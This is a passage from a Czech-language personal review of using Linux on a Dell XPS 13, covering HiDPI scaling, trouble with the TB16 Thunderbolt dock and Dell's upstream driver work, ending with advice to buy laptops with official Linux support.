  • HiDPI monitor ✅ – XPS 13 má rozlišení 3200×1800, což je DPI 276, nádherně ostrý displej, kde něco jako subpixelové vykreslování je věcí minulosti. Je dostatečně vysoké na to, aby prostředí a aplikace mohly škálovat na 200 %, což je dobře, protože jen celočíselné škálování je skutečně bezproblémové (bez ohledu na systém). Samotné prostředí škáluje bezchybně, stejně tak většina aplikací. Z těch, které používám, stále špatně škáluje GIMP nebo Zim a vůbec Spotify.

Trošku jiná kapitola je Thunderbolt dock Dell TB16. Když jsem ho před rokem pořizoval, věděl jsem, že není Dellem oficiálně pro Linux podporovaný a podpora není ideální, ale právě změnit tento stav byl jeden z motivátorů. Musím říct, že po většinu času dock jakštakš fungoval, ale byly s ním v jednom kuse problémy. Nebylo to často jen o kompatibilitě s Linuxem, ale někdy i chyby čistě ve firmwaru. Jednou Dell třeba vydal aktualizaci, která se snažila řešit přehřívání docku a snížila napětí v USB konektorech natolik, že USB zařízení neměla dostatek energie na svůj chod. To postihlo i uživatele Windows. Naopak všemožné adaptéry a docky s USB 3 (a USB-C konektorem), které jsem zkoušel, fungovaly bezproblémově, takže pokud nepotřebujete externí 4K monitor, sáhněte raději po USB 3 než po Thunderboltu.

Od Dellu jsem zhruba před 10 lety koupil netbook s Ubuntu. A byla to hrozná zkušenost. Měl grafickou kartu GMA500 Poulsbo, která měla narychlo spíchnutý ovladač pro Linux, který fungoval jenom s danou verzí Ubuntu. Když jsem upgradoval, začaly problémy a z těch už jsem se nevyhrabal, protože ta karta nikdy pod Linuxem pořádně nefungovala.

Dell se z toho ponaučil. Dnes se snaží, aby všechny ovladače byly v mainline kernelu, to znamená, aby bylo zajištěno, že budou fungovat i s dalšími verzemi a napříč distribucemi. A jde to vidět. Fedora sice není oficiálně podporovaná distribuce (Dell prodává linuxové modely s Ubuntu a RHELem), ale za uplynulý rok jsem poskočil o několik verzí kernelu a podpora byla vždy bezvadná. Dell má svůj vlastní tým linuxových vývojářů a musím říct, že do toho dává netriviální množství úsilí a z výrobců počítačů s námi spolupracuje zdaleka nejvíc.

I když se Dell snaží o dobrou podporu Linuxu napříč svým portfóliem notebooků (řeší s námi i problémy TB16, který oficiálně pro Linux nepodporují), jak ukazuje příklad právě TB16, je dobré sázet na to, co Dell oficiálně podporuje, pokud chcete 100% kompatibilitu. Těch modelů není úplně málo a přibývají. Většinou jsou dostupné i u nás a pokud je nemají přímo na stránkách, je možné je objednat po telefonu.

Existují i menší výrobci, kteří se specializují přímo na Linux (System76, Purism, SLIMBOOK,…), ale buď mě nepřesvědčili zpracováním a kvalitou hardwaru (System76), nebo mají vyšší ceny (Purism), nebo nemají u nás zastoupení a servis na úrovni velkých výrobců jako Dell, proto si myslím, že Dell je dnes nejlepší cesta k tomu mít bezproblémový linuxový notebook. A očividně nejsem sám, protože na linuxových konferencích, kde roky kralovaly ThinkPady, jsou dnes nejvíce vidět Delly.

P.S. Linux dnes lze nainstalovat téměř na vše, ale stejně jako všude jinde i u něj platí, že pokud chcete mít zaručený bezproblémový provoz, tak prostě musíme kupovat notebooky, na kterých je oficiálně podporovaný a které jsou s ním ideálně i prodávané. Platí to i u konkurence. Uživatelé Windows nemůžou předpokládat, že jim budou ideálně fungovat třeba na Macboocích a asi těžko někdo předpokládá, že mu bude macOS (Hackinstosh) fungovat na náhodně vybraném počítači s Windows. Přesto lidi něco takového očekávají od Linuxu (i když přiznávám, že svoboda nainstalovat jej kdekoliv takovému smýšlení nahrává). Jenže bez podpory výrobce to nikdy ideální nebude.